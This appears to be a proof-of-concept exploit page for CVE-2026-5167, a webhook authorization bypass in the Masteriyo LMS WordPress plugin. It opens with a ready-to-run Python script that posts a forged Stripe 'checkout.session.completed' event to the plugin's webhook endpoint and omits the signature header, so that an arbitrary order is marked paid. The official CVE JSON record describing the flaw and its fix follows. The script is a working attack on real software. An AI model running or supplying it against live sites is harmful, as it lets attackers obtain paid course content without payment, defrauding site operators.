CVE-2026-5167

import requests import json # Target URL (The endpoint path may vary depending on configuration, usually /wp-json/masteriyo/v1/stripe/webhook) target_url = "http://target-wordpress-site.com/wp-json/masteriyo/v1/stripe/webhook" # The Order ID that the attacker wants to mark as completed target_order_id = "12345" # Malicious JSON payload simulating a Stripe checkout.session.completed event payload = { "type": "checkout.session.completed", "data": { "object": { "metadata": { "order_id": target_order_id }, "payment_status": "paid", "id": "fake_event_id_12345" } } } headers = { "Content-Type": "application/json" # Note: HTTP_STRIPE_SIGNATURE header is NOT sent because the vulnerability allows bypassing it when the secret is empty. } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success! Order {target_order_id} likely marked as completed.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-5167", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:22.853", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Masteriyo LMS – Online Course Builder for eLearning, LMS & Education plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in versions up to and including 2.1.7. This is due to insufficient webhook signature verification in the handle_webhook() function. The webhook endpoint processes unauthenticated requests and only performs signature verification if both the webhook_secret setting is configured AND the HTTP_STRIPE_SIGNATURE header is present. Since webhook_secret defaults to an empty string, the webhook processes attacker-controlled JSON payloads without any verification. This makes it possible for unauthenticated attackers to send fake Stripe webhook events with arbitrary order_id values in the metadata, mark any order as completed without payment, and gain unauthorized access to paid course content."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/learning-management-system/tags/2.1.4/addons/stripe/StripeAddon.php#L563-639", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learning-management-system/tags/2.1.4/addons/stripe/StripeAddon.php#L649-704", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learning-management-system/trunk/addons/stripe/StripeAddon.php#L563-639", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learning-management-system/trunk/addons/stripe/StripeAddon.php#L649-704", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3499458/learning-management-system/trunk/addons/stripe/StripeAddon.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b6d51dc3-b695-4e9d-b25a-d1b302be1fec?source=cve", "source": "[email protected]"}]}}